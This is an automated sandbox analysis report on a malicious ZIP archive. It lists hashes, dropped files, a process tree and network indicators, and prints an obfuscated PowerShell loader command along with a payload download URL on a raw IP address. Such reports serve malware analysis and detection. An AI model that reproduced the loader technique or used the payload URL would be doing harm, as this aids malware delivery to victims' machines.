File name:

Winmalware2.zip

Full analysis: https://app.any.run/tasks/3f51eea6-c2d5-45c9-8b3d-54540e6bba9b
Verdict: Malicious activity
Analysis date: May 15, 2025, 18:21:37
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
arch-exec
Indicators:
MIME: application/zip
File info: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
MD5:

5FE7FB36BE8F6AEDC48A5703CEDAFDDC

SHA1:

6FCADEFD469964272A8E5DCA15BF91876728F95B

SHA256:

1F8A3D5F8C03BE105A824FFAA4D6D3C3E9518281DF0FDC599FCA0F9ED7E59BF3

SSDEEP:

24576:tBtRbsqfD3mAtsj/OXkgAvKqWIrb5pH8sAcr7F6//r3MnZ8CLC64Gt:tBtRbsqf6Atsj/OXkgAvKqWIr1pH8sAY

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Generic archive extractor

      • WinRAR.exe (PID: 2320)

  • SUSPICIOUS

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 660)

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 2320)

    • Connects to the server without a host name

      • msiexec.exe (PID: 1568)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 660)

    • Starts POWERSHELL.EXE for commands execution

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 4428)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 660)

  • INFO

    • The sample compiled with english language support

      • powershell.exe (PID: 660)
      • WinRAR.exe (PID: 2320)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 660)

    • Checks supported languages

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 4428)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 2320)

    • Creates files or folders in the user directory

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 4428)

    • Reads the computer name

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 4428)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 660)

    • Reads security settings of Internet Explorer

      • msiexec.exe (PID: 1568)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 660)

    • Checks proxy server information

      • msiexec.exe (PID: 1568)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 660)

    • Create files in a temporary directory

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 4428)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 660)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 51
ZipBitFlag: 0x0003
ZipCompression: Unknown (99)
ZipModifyDate: 2025:05:15 18:08:44
ZipCRC: 0xe3196897
ZipCompressedSize: 507981
ZipUncompressedSize: 525931
ZipFileName: 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
135
Monitored processes
7
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe sppextcomobj.exe no specs slui.exe no specs 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe no specs powershell.exe conhost.exe no specs msiexec.exe

Process information

PID
CMD
Path
Indicators
Parent process
660"powershell.exe" -windowstyle minimized "$Limites=gc -Raw 'C:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Balija.Pen';$Pedometrically=$Limites.SubString(40041,3);.$Pedometrically($Limites)" "$Limites=gc -Raw 'C:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Balija.Pen';$Pedometrically=$Limites.SubString(40041,3);.$Pedometrically($Limites)" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
1568"C:\WINDOWS\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshtml.dll
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
2320"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\Winmalware2.zipC:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
4428"C:\Users\admin\AppData\Local\Temp\Rar$EXb2320.11939\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe" C:\Users\admin\AppData\Local\Temp\Rar$EXb2320.11939\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe—WinRAR.exe
User:
admin
Company:
skovgrnsernes
Integrity Level:
MEDIUM
Description:
tilsjofledes signy teknikumet
Exit code:
4294967295
Modules
Images
c:\users\admin\appdata\local\temp\rar$exb2320.11939\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
5048"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe—SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5408C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
6872\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
10 170
Read events
10 159
Write events
11
Delete events
0

Modification events

(PID) Process:(2320) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(2320) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(2320) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(2320) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Winmalware2.zip
(PID) Process:(2320) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2320) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2320) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2320) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(2320) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(4428) 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeKey:HKEY_CURRENT_USER\prydens\styrian\oleoresins
Operation:writeName:professionals
Value:
1FB272
Executable files
2
Suspicious files
8
Text files
15
Unknown types
0

Dropped files

PID
Process
Filename
Type
442800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Kogeri.jpgimage
MD5:B5EF401EFA67FD2CB6B812CABDED093D
SHA256:382E5D828F34622C0DDD0149E87804B6F45F2213D08E49EF6689187BD93B18DE
442800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Netstatus.jpgimage
MD5:22F316F3F0218F9C3CC1F5C79DFB5752
SHA256:FF5CB1A7C5EF1F5CC6E44EB93ACB8C2802CE1C1F4CF9907E6ADB1B22E1F8E11D
442800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Rotundify223.txttext
MD5:2A772047C6E682E6A14D8731154D9474
SHA256:B51A6405198B74AFBFF4876A3757290EA80EF65C74532675FDA0EED640B7041C
442800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\ouverturen.inibinary
MD5:9525B25E33119C9FD95EAB4A79F9F244
SHA256:E711AEC1CD2BAE505CF1387BBFB6DEEA7C9DDF338948A2B44C22E86C9F151154
442800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\reproppernes\udbetal.txtbinary
MD5:9AE36B04591F83866155929CEBC5634D
SHA256:545D2EAAD5D0BD9C6762AD0B15607FB000A6501C1460D7FE2B06A13C56A0A75D
442800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Markrpositions.initext
MD5:A2CCF5E023D7773E8C73DC7EB6F81F05
SHA256:FCD5AD634909535143BD0D8798625A377C8D217417BAB4B00768349A7CAA452A
442800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\ingenirsekvensernes.prebinary
MD5:7A60EC14504DEA7D547407850100DDF7
SHA256:1A50D79C41680CDDEF3F3F50F6990FC2D86E885A8E64C7095EF23F4EB2FEDD48
442800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\krgebr.hesbinary
MD5:E9D35B5819A8938EE82FFC38B545A4E8
SHA256:87F9735CA7AF9C9A8BDADB6D7F0F0CC4ECE96580873DDC66B35EAE66D1807FA4
442800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Tilbagekbsvrdien.initext
MD5:B197F0AF21243B2F1C9429AE0311DA17
SHA256:602194567081EA5B10FC732EF636EA1ABDEBE8A48C1793C18960C472A7314CEB
442800af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\reproppernes\vanrgten.jpgimage
MD5:AB841E656C4815EAD67020602B7D9312
SHA256:688C5607CF5AB0CDA2F44DD67C002D423C25FDB1FEE8AA65A27AE96E2481CDF4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
20
DNS requests
13
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
88.221.110.114:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2772
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
2772
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
1568
msiexec.exe
GET
—
185.29.9.64:80
http://185.29.9.64/gKihuwGhxt122.bin
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
88.221.110.114:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
23.219.150.101:80
www.microsoft.com
AKAMAI-AS
CL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5496
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3216
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
40.126.31.129:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2104
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 20.73.194.208
whitelisted
google.com
  • 142.250.186.78
whitelisted
crl.microsoft.com
  • 88.221.110.114
  • 88.221.110.122
whitelisted
www.microsoft.com
  • 23.219.150.101
  • 184.30.21.171
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
login.live.com
  • 40.126.31.129
  • 20.190.159.68
  • 20.190.159.129
  • 20.190.159.130
  • 40.126.31.2
  • 20.190.159.2
  • 40.126.31.0
  • 40.126.31.128
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
slscr.update.microsoft.com
  • 4.245.163.56
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.95.31.18
whitelisted

Threats

PID
Process
Class
Message
1568
msiexec.exe
Potentially Bad Traffic
ET HUNTING Generic .bin download from Dotted Quad
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Winmalware2.zip